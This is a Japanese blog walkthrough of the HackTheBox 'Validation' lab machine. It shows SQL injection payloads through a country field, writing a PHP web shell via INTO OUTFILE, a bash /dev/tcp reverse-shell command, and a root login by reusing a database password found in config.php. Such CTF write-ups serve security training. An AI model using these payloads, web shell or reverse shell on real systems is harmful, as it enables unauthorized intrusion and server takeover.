📝

HackTheBox Validation

2024/04/19に公開

まずはポートスキャンから実行していきます。

+[~]
(σ▰><)σ<10.10.14.7>$ sudo nmap -p- -Pn --min-rate=1000 -sSV -v -n 10.10.11.116

PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http           Apache httpd 2.4.48 ((Debian))
4566/tcp open     http           nginx
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
5005/tcp filtered avt-profile-2
5006/tcp filtered wsm-server
5007/tcp filtered wsm-server-ssl
5008/tcp filtered synapsis-edge
8080/tcp open     http           nginx

HTTPがいくつかオープンしていますが、まずは80番へアクセスしてみます。

何やらユーザを登録するページがあります。
国も選択できるようなので、フィンランドを選んだうえで testuserを登録してみます。

フィンランドへ testuserを登録できました。
が、特にそれ以上できることはなさそうです。。。

念のため、もう一度 testuser2というユーザを登録してみます。

遷移先は同じですが、先ほど登録した testuserも一緒に表示されました。
検索も行われているのでしょうか。登録の瞬間にどのようなリクエストが送られているか見てみます。

POST / HTTP/1.1
Host: 10.10.11.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://10.10.11.116
Connection: close
Referer: http://10.10.11.116/
Cookie: user=5d9c68c6c50ed3d02a2fcf54f63993b6
Upgrade-Insecure-Requests: 1

username=testuser2&country=Finland

この二つのパラメータが登録に使用されていると考えるのは容易です。が、他にも使用されている可能性を秘めています。
試しに、country パラメータを削除しリクエストを送信してみます。

Welcome testuser2 だけが表示され、リストのように表示されたユーザ名が消えています。このことから country は保存されたユーザの検索に使用されている可能性が高くなります。

検索で使用されているということは、SQLインジェクションの発火を狙うことが出来ます。試してみましょう。
以下のように、シングルクォートを付与してリクエストを送信します。

username=testuser2&country=Finland'

該当のリクエストではどのような値を送ってもリダイレクト(302)が返ってくるので、Follow redirection を使用し、リダイレクトさせ応答を確認しましょう。

Fatal error が出力されています!シングルクォートを2つ(正常系)に増やし、再度リクエストを送信してみましょう。

正常に戻りました!これは完全にSQLインジェクションが発火していそうなので、悪用し認証情報を取得しましょう。
認証情報の取得には、union句を使用しますが、今回のケースでは sqlmap を使用することが出来ません。なので一連の流れを手動で行います。
まず、union句を使用するために出力のカラム数を列挙する必要があります。以下のようなパラメータ値を指定し、リクエストを送信しましょう。

username=testuser2&country=Finland' union select 1-- -

SQLインジェクションに脆弱で出力のカラム数が1つである場合、ユーザ名が表示される部分に「1」が表示されます。出力を見てみましょう。

1」が表示されました!これでSQLインジェクションに脆弱であり出力のカラム数が1つであることが確定しました。
では、どんどん列挙を進めていきます。ここからは出力はスクショではなく、テキストで表示します。
まずデータベースを確認します。データベースの検索にはinformation_schema.schemataschema_nameを出力させます。

> parameter
username=testuser2&country=Finland' union select schema_name from information_schema.schemata-- -
> response
information_schema, performance_schema, mysql, registration

いつものデータベース達に加えて、registrationというデータベースを発見しました。いかにも怪しいので、どのようなテーブルがあるか見てみましょう。

> parameter
username=testuser2&country=Finland' union select table_name from information_schema.tables where table_schema = 'registration'-- -
> response
registration

データベースと同じ名前のregistrationというテーブルを発見しました。いかにも登録されているユーザが確認できそうです。どのようなカラムがあるか検索しましょう。

> parameter
username=testuser2&country=Finland' union select column_name from information_schema.columns where table_name = 'registration'-- -
> response
username, userhash, country, regtime

予想通りユーザ情報が保存されていそうですが、パスワードはハッシュ化されていそうです。とりあえず出力させてみましょう。

> parameter
username=testuser2&country=Finland' union select userhash from registration-- -
> response
1e4332f65a7a921075fbfb92c7c60cce, 58dd024d49e1d1b83a5d307f09f32734, 5d9c68c6c50ed3d02a2fcf54f63993b6, d41d8cd98f00b204e9800998ecf8427e

4人のユーザのハッシュが出力されました!一番アツそうなユーザからハッシュを解読していきたいので、ユーザ名も出力させましょう。

> parameter
username=testuser2&country=Finland' union select username from registration-- -
> response
testuser, testuser2, <...>, testuser3

新規のユーザを発見できるかと思いましたが、自分で登録したユーザのみが表示されました。登録は行ったので、DBに登録されるのは不思議ではありませんが、それ以外のユーザがいないというのは珍しいです。また、testusertestuser2などのユーザは登録時、パスワードを入力していません。なので、ハッシュはパスワードのものではない可能性が高そうです。

では、パスワードのハッシュでなければ、なんのハッシュなのか。考えられる可能性としては、ユーザ名をハッシュ化しているパターンです。
試しに、testuser2をMD5でハッシュ化し、userhashと比べてみましょう。

+[~]
(σ▰>∇<)σ<10.10.14.7>$ echo -n testuser2 | md5sum
58dd024d49e1d1b83a5d307f09f32734  -
> DB userhash
58dd024d49e1d1b83a5d307f09f32734

ハッシュの値が一致しました!やはり、ハッシュはユーザ名をハッシュ化させたものでした。

ハッシュがパスワードではないことは分かりました。ではどのように侵入すればよいのでしょうか。SQLインジェクションでは認証情報の取得以外にファイルを読み取り、書き込みする攻撃も有名です。

読み取り、書き込みをするには権限が必要です。ユーザに権限が付与されているかどうかを確認したいので、まずデータベースを操作しているユーザを確認します。

> parameter
username=testuser2&country=Finland' union select user()-- -
> response
uhc@localhost

データベースを操作しているユーザは「uhc@localhost」のようです。では、このユーザの権限を調べてみましょう。

> parameter
username=testuser2&country=Finland' union select privilege_type from information_schema.user_privileges where grantee="'uhc'@'localhost'"-- -
> response
SELECT, INSERT, UPDATE, DELETE, CREATE, ..., FILE, ...

いくつか権限がありますが、その中にFILEという権限があります!これは、ファイルの読み取り、書き込みが行えることを示しています。権限があることが分かったので、悪用していきましょう。

どのような悪用を行うかですが、今回のサーバではPHPが動作していることに注目し、WEBシェルを書き込むことでシェルの取得を目指します。素直に80番で動いているサーバであるため、書き込み先は/var/www/html直下で良さそうです。
書き込みには、into outfileを使用します。試しにHello Worldという文字をhw.txtへ書き込みます。

> parameter
username=testuser2&country=Finlan' union select "Hello World" into outfile "/var/www/html/hw.txt"-- -

返り値がないので、出力はエラーになるかもしれません。リクエストの送信が終わったら実際にhw.txtへアクセスしてみましょう。

hw.txtへのアクセスに成功し、Hello Worldという文字が出力されました!同じ要領でWEBシェルを配置できそうです。

WEBシェルの内容はいつものsystem関数を実行するものにします。
以下のパラメータ値でリクエストを送信しましょう。

> parameter
username=testuser2&country=Finlan' union select "<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/ws.php"-- -

hw.txtを作成した時と同様にエラーが発生する可能性があります。
実行が終了したら、ws.phpへアクセスしましょう。cmdには「id」を指定し、コマンドの実行結果が出力されるかを確認します。

idコマンドの実行結果が出力されています!
これでWEBシェルの作成もできたので、後は侵入するだけです。

リバースシェルの取得にもいつものコマンドを使用します。実際にパラメータの値として指定するときは、URLエンコードした値を指定します。

> plain
bash -c 'bash -i >& /dev/tcp/10.10.14.7/2121 0>&1'
> url encode
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%37%2f%32%31%32%31%20%30%3e%26%31%27

実行する前に待ち受けを忘れないようにしましょう

+[~]
(σ▰><)σ<10.10.14.7>$ nc -lnvp 2121         
listening on [any] 2121 ...

それでは、URLエンコードした値をcmdパラメータに指定し、リクエストを送信します。

+[~]
(σ▰><)σ<10.10.14.7>$ nc -lnvp 2121         
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.116] 45534
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ whoami
whoami
www-data

侵入に成功しました!

www-data@validation:/home/htb$ cat user.txt
3326364dfa08aacfcd91aa7e3486b6e0

フラグも無事取得できました!

では続いて権限昇格に移ります。まずはお馴染みのsudo -lから実行していきましょう。

www-data@validation:/var/www/html$ sudo -l
bash: sudo: command not found

そもそもsudo自体がないみたいです。
念のため、SUIDを持つファイルも検索しましたが、、、

www-data@validation:/var/www/html$ find / -perm 4000 2>/dev/null

何も応答がなかったため、見つからないみたいです。
では、続いて何を見ていくかですが、WEBからの侵入後はWEBルート内を検索するというのも一つの手です。どのようなファイルがあるか見てみましょう。

www-data@validation:/var/www/html$ ls -la
total 52
drwxrwxrwx 1 www-data www-data  4096 Apr 16 01:16 .
drwxr-xr-x 1 root     root      4096 Sep  3  2021 ..
-rw-r--r-- 1 www-data www-data  1550 Sep  2  2021 account.php
-rw-r--r-- 1 www-data www-data   191 Sep  2  2021 config.php
drwxr-xr-x 1 www-data www-data  4096 Sep  2  2021 css
-rw-r--r-- 1 www-data www-data 16833 Sep 16  2021 index.php
drwxr-xr-x 1 www-data www-data  4096 Sep 16  2021 js

config.phpを発見しました。認証情報が書いてあることが多いので内容を確認してみましょう。

www-data@validation:/var/www/html$ cat config.php
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

MySQLの認証情報を発見しました。ただ、データベース内にはパスワードのような重要な情報はありませんでした。なので、アクセスしてもあまり意味はなさそうです。
しかしせっかくパスワードを発見しているので、他にどこかで使えないか試してみましょう。まず考えるのは他のユーザにも使いまわされている可能性ですが、マシン上にはローカルユーザが存在しません。

www-data@validation:/var/www/html$ cat /etc/passwd | grep home

ホームディレクトリを持つユーザで出力がないので、ローカルユーザがいないことが分かります。
では、他に試せるユーザはrootユーザしかいないので、そちらに対してログインを試してみましょう。

www-data@validation:/var/www/html$ su root
Password: 
root@validation:/var/www/html# whoami
root

なんと!rootユーザになることが出来ました、、、!
最後は少しあっけなかったですが、無事攻略完了です。

Discussion